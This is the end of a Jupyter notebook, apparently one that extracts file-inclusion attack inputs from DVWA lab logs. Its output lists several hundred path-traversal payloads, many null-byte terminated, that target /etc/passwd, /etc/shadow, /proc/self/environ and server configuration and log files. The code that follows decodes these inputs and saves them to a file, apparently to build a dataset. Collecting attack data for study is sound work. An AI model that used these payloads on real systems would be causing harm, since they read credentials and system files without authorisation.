      "../../../../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php\n",
      "../etc/group\u0000\n",
      "../../../../../../../../../../../../../../../../../../proc/self/fd/18\u0000\n",
      "../../../../../../../../../../../../../../../../../var/log/mysql.log\u0000\n",
      "../../../../../../../../../../../../../../../../../../WINNT/php.ini\n",
      "../../../../../../../../../../../../../../../../../proc/self/fd/6\u0000\n",
      "../../../../var/log/maillog\n",
      "../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf\n",
      "../../../../../etc/pure-ftpd/pure-ftpd.conf\n",
      "../var/log/mysql/mysql-slow.log\n",
      "../../../../../../../../../../../../../../etc/security/limits\u0000\n",
      "../../../../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf\u0000\n",
      "../usr/local/apache2/httpd.conf\u0000\n",
      "../../../../../../../../../../../www/logs/proftpd.system.log\n",
      "../../../../../../../../../../../../../../usr/local/lib/php.ini\u0000\n",
      "../../../../../../../../etc/php/apache2/php.ini\u0000\n",
      "../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf\n",
      "../../../../../../../../../../../../../../../../../var/log/httpd/access_log\n",
      "../../../PHP/php.ini\u0000\n",
      "../../../../../../../../../../../../../../proc/self/cmdline\u0000\n",
      "../../../../../../../../../../www/logs/proftpd.system.log\u0000\n",
      "../../../../../../opt/xampp/logs/error.log\n",
      "../../../../../../../../../../../../../../../../etc/ftpchroot\u0000\n",
      "../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log\n",
      "../../../../../etc/security/user\u0000\n",
      "../../../../../../../../../../../../../bin/php.ini\n",
      "../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl\u0000\n",
      "../../../../../../../usr/local/apache2/conf/httpd.conf\n",
      "../../../../../../../../../../../usr/etc/pure-ftpd.conf\u0000\n",
      "../../../../../../../../../usr/apache2/conf/httpd.conf\u0000\n",
      "../../../../../../../../../../usr/local/apache/logs/access_log\u0000\n",
      "../../../../../../../../../../../../../../../../etc/security/group\n",
      "../../../../../../../../../../../../../var/log/apache/error_log\n",
      "../../../../../../../proc/self/fd/5\u0000\n",
      "../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf\n",
      "../../proc/self/fd/11\n",
      "../../../php5/php.ini\u0000\n",
      "oc/self/fd/33\n",
      "../../../../../../../proc/self/fd/11\u0000\n",
      "../opt/lampp/logs/access.log\n",
      "../../../../../../../../../etc/httpd/httpd.conf\u0000\n",
      "../../../../../../../../../../../../home2/bin/stable/apache/php.ini\u0000\n",
      "../../../../../../../../opt/xampp/logs/error_log\n",
      "../../../../../../../../../../../../../usr/apache2/conf/httpd.conf\u0000\n",
      "../../../../../../../../../../home2/bin/stable/apache/php.ini\n",
      "../../../../../../../../../../../opt/lampp/logs/error.log\n",
      "../../../../../../../etc/php4.4/fcgi/php.ini\n",
      "../../../../../../../../../../../proc/self/fd/28\n",
      "../../../../../../../../../../../../../home/bin/stable/apache/php.ini\u0000\n",
      "../../../../../proc/self/fd/10\n",
      "../../../../../../../../../../private/etc/httpd/httpd.conf.default\u0000\n",
      "../../../../../../../proc/self/fd/19\u0000\n",
      "../../../../../../../../../../usr/local/php5/httpd.conf\n",
      "../../../../../../../../../../../../../../../../usr/local/etc/php.ini\n",
      "../../../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf\n",
      "../../../../../../../../../../../usr/local/cpanel/logs/stats_log\n",
      "../../../../../../../../../../../../../../Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf\u0000\n",
      "../usr/apache/conf/httpd.conf\u0000\n",
      "../../../../../../../../../../../../../../../../../../xampp/apache/bin/php.ini\n",
      "../../../../../../../../../../home2/bin/stable/apache/php.ini\n",
      "../../../../../../../../../../../../../../WINDOWS/php.ini\n",
      "../../../../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf\u0000\n",
      "../../../../../../../../../../../../../../logs/access_log\u0000\n",
      "../../../../../usr/local/php5/httpd.conf.php\n",
      "../../../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf\n",
      "../../../../../../../../../../../../../etc/ftpchroot\u0000\n",
      "../../../../../../../../../../../proc/self/fd/28\u0000\n",
      "../../../../../../../../../../../../../../etc/proftp.conf\n",
      "oc/self/fd/11\u0000\n",
      "../../../../usr/local/php4/httpd.conf.php\u0000\n",
      "../../Program Files/Apache Group/Apache2/conf/httpd.conf\n",
      "../../../../../../../../../../../../../../../../var/log/apache/error.log\u0000\n",
      "../../../../../../../../../../../../../../../../usr/local/etc/php.ini\u0000\n",
      "../../../../../../../../../../../etc/apache2/conf/httpd.conf\n",
      "../../usr/apache/conf/httpd.conf\n",
      "../../../../etc/wu-ftpd/ftpaccess\u0000\n",
      "og/mysql/mysql-bin.log\n",
      "../var/log/xferlog\u0000\n",
      "../../../../../../etc/httpd/logs/acces_log\u0000\n",
      "../../../../../../../../../../../../../../../var/log/mysql.log\n",
      "og/error_log\u0000\n",
      "../../../../../var/log/mysql/mysql-bin.log\u0000\n",
      "../../var/log/apache/error_log\n",
      "../../../../../../../usr/local/php4/lib/php.ini\u0000\n",
      "../../../../../../../../Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf\n",
      "../../../../../../../var/log/xferlog\n",
      "../../../../../../../../../../../../../../../../usr/local/cpanel/logs/error_log\u0000\n",
      "../../../../../../../../../../../../../../../../../../etc/php4/apache/php.ini\u0000\n",
      "../../var/log/apache/error.log\n",
      "../../../../../../../../../../../../../proc/self/fd/7\u0000\n",
      "../../../../../../../etc/mysql/my.cnf\n",
      "../../../../../../../../../../../opt/lampp/logs/access.log\u0000\n",
      "../../../../../apache/logs/access.log\u0000\n",
      "kgsrc/net/pureftpd/\u0000\n",
      "../../../../../../../../../../../../../../../../etc/php5/apache/php.ini\u0000\n",
      "../../../../../../usr/local/pureftpd/sbin/pure-config.pl\n",
      "../var/cpanel/cpanel.config\n",
      "../../../var/adm/log/xferlog\n",
      "../../../../../../var/mysql.log\u0000\n",
      "../../../../../../../../../../../../../web/conf/php.ini\n",
      "../Program Files/xampp/apache/conf/httpd.conf\n",
      "../../../../../../../../../../../../../../../etc/security/group\n",
      "../../../../../../../../../../../../../../../logs/access.log\n",
      "../../../../../../usr/local/apps/apache2/conf/httpd.conf\u0000\n",
      "../../../../../../../../../php/php.ini\n",
      "../../../../../../../../../../../../../../proc/self/fd/32\n",
      "../../../../../../../../../../../../../../etc/security/limits\u0000\n",
      "../../../../usr/lib/security/mkuser.default\u0000\n",
      "../../../../../../../../../../var/log/apache/error.log\n",
      "../../../../../../../etc/httpd/logs/acces.log\u0000\n",
      "../../../Program Files/Apache Group/Apache/conf/httpd.conf\n",
      "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log\u0000\n",
      "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf\n",
      "../../../../../../../../../../../../../proc/self/fd/9\u0000\n",
      "../../../../../../../../etc/vsftpd.conf\u0000\n",
      "../../../usr/local/apache2/httpd.conf\u0000\n",
      "../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf\u0000\n",
      "../../../../../../../../../../../../../../../../proc/self/fd/32\n",
      "../../../../../../../../www/logs/proftpd.system.log\u0000\n",
      "../../../../../../../../../../../../../../../../../../usr/lib/php.ini\u0000\n",
      "../../../../../../../../etc/pure-ftpd/pureftpd.pdb\u0000\n",
      "../../../../etc/group\u0000\n",
      "../../../../../../../usr/local/pureftpd/sbin/pure-config.pl\n",
      "home/bin/stable/apache/php.ini\n",
      "../../../../../../../../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php\n",
      "../var/www/logs/access.log\n",
      "../../../../../../../../../../../../../../../usr/local/cpanel/logs/license_log\n",
      "c/httpd/httpd.conf.default\u0000\n",
      "../../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf\n",
      "../../../../../../../../../../../../../proc/self/fd/21\n",
      "ocal/lib/php.ini\u0000\n",
      "../../../../../../../../../../../../../../etc/php5/apache2/php.ini\n",
      "../etc/protpd/proftpd.conf\u0000\n",
      "../../../../../../../../var/log/apache2/error.log\u0000\n",
      "../../../../../../../../../../../../../var/cpanel/cpanel.config\n",
      "../../../../etc/httpd.conf\n",
      "../../../../../../../../../../../etc/chrootUsers\n",
      "../../../../../../../../../../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php/lib/php.ini\n",
      "og/apache/access_log\n",
      "../../../etc/ftpchroot\n",
      "../Program Files/Apache Group/Apache/conf/httpd.conf\n",
      "../../../../../../../../../../../../../../../etc/php/apache/php.ini\u0000\n",
      "../../../../../../../../../proc/self/fd/2\u0000\n",
      "../../../../../../../../../../../../../../../../Program Files/Apache Group/Apache/conf/httpd.conf\u0000\n",
      "../../../../PHP/php.ini\u0000\n",
      "../../../../../../../../../../../../../../../etc/security/environ\n",
      "../../../../../../../var/log/pureftpd.log\n",
      "../../etc/chrootUsers\u0000\n",
      "../../../usr/local/apache/logs/error_log\u0000\n",
      "../Program Files/Apache Group/Apache/conf/httpd.conf\n",
      "../../../../../../var/log/ftp-proxy\n",
      "../../proc/self/stat\n",
      "../../../usr/local/pureftpd/etc/pure-ftpd.conf\n",
      "../../../../../../../var/www/logs/error_log\n",
      "../../../../../../../../../../../../../../etc/ftpchroot\n",
      "../../../../../proc/self/fd/22\n",
      "../../../../../../../../../../../../../proc/self/fd/5\u0000\n",
      "../../../../../../../../../../../../../../opt/xampp/logs/error_log\n",
      "../../../../../usr/local/apache2/logs/error_log\n",
      "../../../../var/log/pure-ftpd/pure-ftpd.log\u0000\n",
      "../../../../../../../../../../../../../../../../../var/log/exim_paniclog\n",
      "../proc/self/fd/8\u0000\n",
      "../../../../../../../../../../../usr/local/cpanel/logs/stats_log\u0000\n",
      "../../../../../../../opt/lampp/logs/access_log\n",
      "../../../../../../../../../../var/log/maillog\u0000\n",
      "../../../../../../../../../../etc/logrotate.d/ftp\n",
      "c/logrotate.d/ftp\u0000\n",
      "ocal/etc/pureftpd.pdb\n",
      "../../../../../../etc/proftp.conf\n",
      "../../../../proc/self/fd/27\u0000\n",
      "../../../../../../../../../../../../../../../../opt/lampp/logs/access_log\n",
      "../../../../../../../../../opt/xampp/logs/access.log\n",
      "c/pure-ftpd.conf\n",
      "../../../../../../../../../../../proc/self/fd/35\u0000\n",
      "../../../../../../../../../../../../../../../../../../proc/self/fd/18\n",
      "../../../../../etc/php4/apache2/php.ini\u0000\n",
      "../../../../usr/local/php4/httpd.conf.php\u0000\n",
      "../../../../../../../../../../../../../../../../Program Files/Apache Group/Apache/logs/error.log\u0000\n",
      "../../../../../../../../../../../../../../../proc/self/fd/33\u0000\n",
      "../../../../../../../proc/self/fd/6\n",
      "../../../../../../../../proc/self/fd/9\u0000\n",
      "../../../etc/httpd/logs/acces.log\n",
      "../../../../../../../../../../../logs/pure-ftpd.log\u0000\n",
      "../../../../../web/conf/php.ini\n",
      "../../../../../../../../../../../../../../../../../../proc/self/fd/6\n",
      "../../../../../etc/my.cnf\n",
      "../../../Program Files/Apache Group/Apache/logs/access.log\u0000\n",
      "../../../../../../../../../../../../../../../../../../proc/self/fd/26\n",
      "../../../../var/log/access.log\n",
      "../../../../../../../../../../logs/access_log\n",
      "../../../../../../../../../../etc/apache2/conf/httpd.conf\n",
      "../../../../../../../../../../../../../usr/local/cpanel/logs/license_log\n",
      "../../../../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts\u0000\n",
      "../etc/wu-ftpd/ftpaccess\n",
      "../proc/self/fd/4\n",
      "../../../../../../../../../../../../../../../../../../etc/ftphosts\u0000\n",
      "../../../../var/log/exim_paniclog\u0000\n",
      "../../../../../../proc/self/fd/24\u0000\n",
      "../../../../../../../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php\u0000\n",
      "../../../../../../../../../../../../../../etc/vsftpd.conf\n",
      "../../../../../../../../../../../../../etc/passwd\u0000\n",
      "../../../../usr/local/cpanel/logs/stats_log\u0000\n",
      "../../../../../../../../../../../../../../../var/log/exim_rejectlog\u0000\n",
      "../../../../../../var/mysql.log\n",
      "../../../../../../../../../../../../etc/logrotate.d/ftp\u0000\n",
      "../../../../../../../../../usr/local/apps/apache/conf/httpd.conf\u0000\n",
      "../../../../../../../../../../../../../../../../../../var/log/httpd/error_log\u0000\n",
      "../../../../../../usr/local/pureftpd/etc/pureftpd.pdb\u0000\n",
      "../../proc/self/fd/17\u0000\n",
      "../../../../../../../../../../../usr/local/php/httpd.conf.php\n",
      "Program Files/Apache Group/Apache/logs/error.log\n",
      "../../../xampp/apache/bin/php.ini\n",
      "../../../../../../../../var/log/apache2/access_log\n",
      "../../../../../../../../../../../../../../../../../../etc/proftp.conf\u0000\n",
      "og/ftp-proxy/ftp-proxy.log\n",
      "../../../../../../var/log/apache/error_log\n",
      "../../../../../../../NetServer/bin/stable/apache/php.ini\n",
      "../../../../../../../PHP/php.ini\n",
      "../../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf\n",
      "../../../../../proc/self/fd/26\u0000\n",
      "../../../../../../../../../../../../../../../../../../etc/mysql/my.cnf\n",
      "../../../../../../../../../../../../../../opt/apache/conf/httpd.conf\n",
      "../../../../../../../var/log/xferlog\u0000\n",
      "../../../../../../../../../../../../../../../../proc/self/fd/13\n",
      "../../../../../../../../proc/self/fd/19\n",
      "../../../../../../../../../../../../../../../../../../proc/self/fd/6\n",
      "../../../../../../../../../../../../../../var/lib/mysql/my.cnf\n",
      "../../../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf\u0000\n",
      "../../../../../../../logs/access_log\n",
      "../../../usr/local/pureftpd/etc/pureftpd.pdb\u0000\n",
      "../../../../../opt/apache2/conf/httpd.conf\n",
      "../../../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log\n",
      "../../../../../../../../../../../../usr/ports/net/pure-ftpd/\u0000\n",
      "../../../../../../../../../../../../../../../../../proc/self/fd/5\n",
      "../../../../../../../../../../../../../../../../proc/self/fd/18\n",
      "../../../../../../../../../../../../../../../../apache/php/php.ini\n",
      "../../../../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb\u0000\n",
      "../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default\n",
      "../../../usr/local/php5/lib/php.ini\n",
      "../../../../../proc/self/fd/9\u0000\n",
      "../../../../../etc/httpd.conf\n",
      "../../../../../../../../../../usr/local/apache/logs/error.log\u0000\n",
      "ocal/apache/logs/error.log\n",
      "../../../../../../../../../../../Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf\u0000\n",
      "../../../../../../../etc/shadow\n",
      "../../../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf\u0000\n",
      "../../../../../../../../../../../../../../../../var/log/error.log\n",
      "../../../../../../../../usr/local/apache/conf/php.ini\u0000\n",
      "../../../../../etc/passwd\u0000\n",
      "../../../etc/php5/apache2/php.ini\n",
      "../../../../../../../../../../../var/log/access_log\u0000\n",
      "../../../../../../../../../../etc/logrotate.d/vsftpd.log\n",
      "../../../proc/self/fd/31\n",
      "../../../../../../../../../../../etc/php4/cgi/php.ini\n",
      "../../../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf\u0000\n",
      "../../../../../../../../../usr/local/php/httpd.conf.php\n",
      "../../../../../../../../../../proc/self/fd/14\n",
      "../../../../../../../../usr/local/cpanel/logs/stats_log\u0000\n",
      "../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb\u0000\n",
      "../../../../../../etc/pure-ftpd/pure-ftpd.pdb\n",
      "../../../../../../../../../../usr/ports/contrib/pure-ftpd/\n",
      "../../../../../../etc/php4.4/fcgi/php.ini\n",
      "../../../../../../../../../../../proc/self/fd/22\n",
      "../../../../../../../../../../../../../usr/apache2/conf/httpd.conf\n",
      "../../../../../../../../../../../../../var/log/httpd/error.log\u0000\n",
      "../../../../../../../../apache2/logs/error.log\u0000\n",
      "../../../../../../../../../../../../../../../../../../apache2/logs/error.log\n",
      "../../../../../../../../usr/local/cpanel/logs/license_log\n",
      "../../../../../../../../../../../../../../../../usr/sbin/pure-config.pl\n",
      "../../../../../../../../../../../../../../../../etc/httpd/logs/error_log\n",
      "../../var/log/apache/access.log\n",
      "../../../../../../../../../../../../../../../var/log/maillog\n",
      "../../../../proc/self/fd/20\u0000\n",
      "../../../../../../../../../../../bin/php.ini\u0000\n",
      "../../../../../../../../../../../../../../../../xampp/apache/bin/php.ini\u0000\n",
      "../../../../../../../../../../../../../../../../../../proc/self/status\n",
      "../../../etc/vsftpd/vsftpd.conf\n",
      "../var/log/ftp-proxy/ftp-proxy.log\n",
      "../../../../../proc/self/fd/19\n",
      "../../../logs/pure-ftpd.log\n",
      "../var/log/mysql/mysql-bin.log\n",
      "../../../../../../../../../../../../../../../../../proc/self/fd/22\u0000\n",
      "../../../../../../../../../../../var/mysql.log\u0000\n",
      "../../../../../../../../../../proc/self/environ\u0000\n",
      "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php\n",
      "../../../../../../../../../../../../etc/httpd/logs/error_log\n",
      "../../etc/security/group\n",
      "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php\u0000\n",
      "../etc/php/php.ini\n",
      "PHP/php.ini\n",
      "../../../../../../var/log/ftp-proxy\n",
      "../../../../../../../../../WINDOWS/php.ini\n",
      "../../../../../../../../../../../../../../proc/self/fd/25\u0000\n",
      "../../../../../../../../../../../../../usr/local/apache2/httpd.conf\n",
      "../../../../../../../../../../../../../etc/httpd/php.ini\n",
      "../../../../../../../../../../../../../etc/http/httpd.conf\n",
      "../../var/log/error.log\n",
      "../../../../../../../../../etc/wu-ftpd/ftpaccess\n",
      "../../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf\n",
      "../../../../../../../../../../../../../../proc/self/fd/3\u0000\n",
      "../../../../../../../../../../../etc/wu-ftpd/ftphosts\u0000\n",
      "../../../../../../../../../../../../../../../../../../var/log/apache/access_log\n",
      "../../../../../../../../../usr/local/php4/lib/php.ini\u0000\n",
      "../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb\n",
      "../../../../../../../../../../../../../../proc/self/fd/7\n",
      "../../../../../Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php\u0000\n",
      "../../../../../../../../../../../../../../../../../var/www/logs/access.log\u0000\n",
      "../../../home/bin/stable/apache/php.ini\u0000\n",
      "../../../../../../../var/log/apache2/error.log\u0000\n",
      "../../../../etc/wu-ftpd/ftpaccess\n",
      "../../../../../../../proc/self/fd/9\u0000\n",
      "../Program Files/Apache Group/Apache/conf/httpd.conf\u0000\n",
      "oc/self/fd/18\n",
      "../../../../../../../etc/shadow\u0000\n",
      "../../../../../../usr/local/cpanel/logs/license_log\n",
      "../../../../../../../../../../var/cpanel/cpanel.config\u0000\n",
      "../../../../../../../../proc/self/fd/5\u0000\n",
      "../../../../../../../../../var/log/exim_paniclog\n",
      "../../../../../../../../var/log/ftp-proxy\n",
      "../../../../../../../../../../../../../etc/vsftpd.chroot_list\n",
      "../../../../var/log/exim_rejectlog\u0000\n",
      "../../../../../../../../etc/php.ini\u0000\n",
      "../../../../../../../../../../../../../../../../../../Program Files/Apache Group/Apache2/conf/httpd.conf\n",
      "../../../../../../../../var/log/apache2/error_log\u0000\n",
      "../../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf\u0000\n",
      "../../../../../../../../../../../etc/apache2/conf/httpd.conf\u0000\n",
      "../../../../../../../../../../../../../../var/log/httpd/access_log\n",
      "../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf\n",
      "../../../../../../../../../../../../../../../../etc/httpd/logs/acces.log\u0000\n",
      "../../../../../../../../../../usr/lib/php.ini\n",
      "../../opt/apache2/conf/httpd.conf\n",
      "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl\u0000\n",
      "../../../../../../../../../../../../../../../../../opt/xampp/logs/error_log\n",
      "../../../../../../../../../opt/lampp/logs/error_log\n",
      "../../../../var/log/mysql/mysql-bin.log\u0000\n",
      "../../../../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini\n",
      "../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf\n",
      "../../../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php\n",
      "../etc/security/passwd\n",
      "../../../../proc/self/fd/16\u0000\n",
      "../../../../../../../../var/log/access_log\u0000\n",
      "../../../../../../proc/self/fd/15\n",
      "../../../../../../../../usr/local/apache/conf/httpd.conf\u0000\n",
      "../../../../../../../../../../../../../../../etc/httpd/logs/acces_log\n",
      "../../../../proc/self/fd/2\n",
      "../../../../Program Files/Apache Group/Apache2/conf/httpd.conf\u0000\n",
      "../../../../../../../../../../../../../etc/pureftpd.passwd\u0000\n",
      "../etc/logrotate.d/vsftpd.log\u0000\n",
      "../../../../../../apache/logs/access.log\u0000\n",
      "oc/self/fd/5\n",
      "../../Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf\u0000\n",
      "../../../../../../../../../../home/bin/stable/apache/php.ini\u0000\n",
      "../../../../../../../../../../../../../../etc/httpd.conf\u0000\n",
      "../../../../../../../../../../../../../../../../../proc/self/fd/3\u0000\n",
      "../../var/log/exim_paniclog\u0000\n",
      "../../../../../../../../../../../../../../../../../../proc/self/fd/3\n",
      "../../../../../../../../../../../../../../../../../usr/local/php5/httpd.conf\u0000\n",
      "../../../proc/self/fd/17\n",
      "../../../../../../../../../../../../../../../../../../logs/error.log\u0000\n",
      "../../../../../../proc/self/stat\n",
      "../../../../../../apache/logs/error.log\u0000\n",
      "../../../../../../../../var/log/exim_rejectlog\n",
      "../usr/local/apache2/logs/error.log\u0000\n",
      "../../../../../../../../../../../../../../etc/security/group\n",
      "../../proc/self/environ\u0000\u0000\n",
      "../../../var/log/ftp-proxy/ftp-proxy.log\u0000\n",
      "../../../../../etc/php4/apache/php.ini\u0000\n",
      "../../../../../../../../../../../../var/log/error_log\u0000\n",
      "../../../../../../../../../../../../../var/www/logs/error.log\n",
      "../../../../../../../../../../../proc/self/fd/6\u0000\n",
      "../../../../../../../../../../../../../../../usr/local/apache2/logs/access_log\u0000\n",
      "../../../../../../../../../../../../../../var/log/maillog\u0000\n",
      "../usr/local/apache2/logs/error.log\n",
      "../../../../../../../../etc/my.cnf\u0000\n",
      "../../../etc/vhcs2/proftpd/proftpd.conf\u0000\n",
      "../../../../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini\n",
      "../../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini\u0000\n",
      "../../../../../../../../../../../../../../../proc/self/fd/11\u0000\n",
      "../../../../../../../../../../../../etc/security/group\n",
      "../../Program Files/Apache Group/Apache/logs/error.log\n",
      "../../../../etc/logrotate.d/proftpd\n",
      "../etc/ftphosts\n",
      "../../../../../../../../../../../../../../../../var/log/apache2/error.log\u0000\n",
      "../../../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf\u0000\n",
      "../../../../../../../../../../../../../../../etc/httpd/logs/acces.log\n",
      "../../../../../../../../../../../../../../../var/adm/log/xferlog\u0000\n",
      "../../../../../../../../../usr/local/etc/apache/vhosts.conf\u0000\n",
      "c/apache2/httpd.conf\n",
      "../../../../../../../../../../../../../../../../../../opt/lampp/logs/access.log\u0000\n",
      "../../../../../../../../../../proc/self/fd/25\u0000\n",
      "../../../../../../etc/php4.4/fcgi/php.ini\n",
      "../var/log/mysql/mysql-bin.log\n",
      "../../../../../../../../../../../../../../../var/log/xferlog\n",
      "../../../../../../../../../../../../../../../var/www/logs/error.log\n",
      "../../../../../../../../../../php5/php.ini\n",
      "../../../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf\u0000\n",
      "../../../../../../../../usr/apache2/conf/httpd.conf\n",
      "../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf\n",
      "../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf\u0000\n",
      "../../../../../../../../../../../../../../../../../../var/www/conf/httpd.conf\n",
      "../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb\n",
      "opt/lampp/logs/access.log\n",
      "../../../../../../../../../../../etc/httpd/logs/acces_log\u0000\n",
      "../../../../../../../etc/php5/apache/php.ini\u0000\n",
      "../../../../../../../../etc/wu-ftpd/ftpusers\u0000\n",
      "../../../../../../../../../../../usr/local/apache2/conf/httpd.conf\n",
      "431\n"
     ]
    }
   ],
   "source": [
    "fliInput = open(\"./fiInput.txt\", 'w+')\n",
    "i = 0\n",
    "with open(\"./log_5.21_tagged.txt\", 'r') as logfile:\n",
    "    for line in logfile:\n",
    "        if i < 10000:\n",
    "            line=line.split(' ')\n",
    "            if line[0]=='[fli]':\n",
    "                i = i + 1\n",
    "                #res = line[7].find('/vulnerabilities/sqli/?id=')\n",
    "                #if res == -1:\n",
    "                    #print(line[7])\n",
    "                #print(unquote((line[7])))\n",
    "                inputLine = unquote((line[7])).lstrip('/vulnerabilities/fi/?page=')\n",
    "                if len(inputLine) > 0:\n",
    "                    fliInput.write(inputLine + '\\n')\n",
    "                    print(inputLine)\n",
    "        else:\n",
    "            break\n",
    "print(i)\n",
    "logfile.close()\n",
    "fliInput.close()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.6.4"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}